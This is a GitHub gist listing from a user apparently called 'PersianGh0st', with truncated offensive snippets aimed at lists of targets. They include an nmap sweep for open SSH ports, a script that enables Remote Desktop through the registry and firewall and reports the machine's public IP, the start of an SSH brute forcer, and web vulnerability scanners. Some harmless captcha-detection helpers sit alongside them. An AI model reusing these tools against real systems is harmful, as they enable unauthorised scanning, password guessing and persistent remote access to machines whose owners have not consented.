Skip to content

Instantly share code, notes, and snippets.

PersianGh0st persian64

Block or report user

Report or block persian64

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@persian64
persian64 / append-end.py
Created Aug 15, 2019
Append text to the end of each line in a list of strings.txt
View append-end.py
output = "ready.txt"
file_name = "your_file.txt"
string_to_add = "added"
with open(file_name, "r") as f:
file_lines = ["".join([x.strip(), "-255", "\n"]) for x in f.readlines()]
with open(file_name, "w") as f:
f.writelines(file_lines)
View ssh-in-range.sh
nmap -T4 -sS --open -p 22 -iL ips.txt -oG - | grep "/open" | awk '{ print $2 }' > output.txt
View rdp.py
import os
from requests import get
os.system('reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f')
os.system('netsh advfirewall firewall set rule group="remote desktop" new enable=Yes')
ip = get('https://api.ipify.org').text
@persian64
persian64 / ssh-poison.py
Created Aug 15, 2019
This is a very simple SSH brute forcer, but soon it will be a real SSH-Poison. stay tuned for updates
View ssh-poison.py
import paramiko
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
with open("targets.txt", "r") as targets:
for ip in targets:
with open("usernames.txt", "r") as usernames:
View wcd.py
import re
import pycurl
from io import BytesIO
line = 100 * '\033[33m.\033[m'
"""
You might chuckle when you see my regex but trust me, I couldn't make it more good
This regex will find some text injects as well but if you change it to skip 404 pages then you will miss a lot of potential targets
View xml-errors.py
from io import BytesIO
import pycurl
import re
"""
This script can be used to detected common XML errors, this is useful to find out if a website is using XML and whether that XML is configured to throw some errors
It will send a request to the webpage with a nonexistent file and see what type of error it returns
targets.txt:
example.com
View rails-file-read.py
import re
import builtwith
import pycurl
from io import BytesIO
"""
Sample targets:
https://example.com/
https://example.com/
"""
@persian64
persian64 / tut9.py
Last active Jul 28, 2019
A simple tool to detect if a list of web pages are using Google reCaptcha or not
View tut9.py
import pycurl
import re
from io import BytesIO
def find_captcha():
with open("targets.txt", "r") as targets:
for url in targets:
try:
get_io = BytesIO()
View tut8.py
if re.findall(r'https://www.google.com/recaptcha', str(captcha)):
print("\33[90m[ - ] Recaptcha was found on the website: \33[m" + url.strip())
elif not re.findall(r'https://www.google.com/recaptcha', str(captcha)):
print("\33[92m[ + ] Voila! No Captcha was found: \33[m" + url.strip())
View tut7.py
import pycurl
import re
from io import BytesIO
def find_captcha():
with open("targets.txt", "r") as targets:
for url in targets:
try:
get_io = BytesIO()
You can’t perform that action at this time.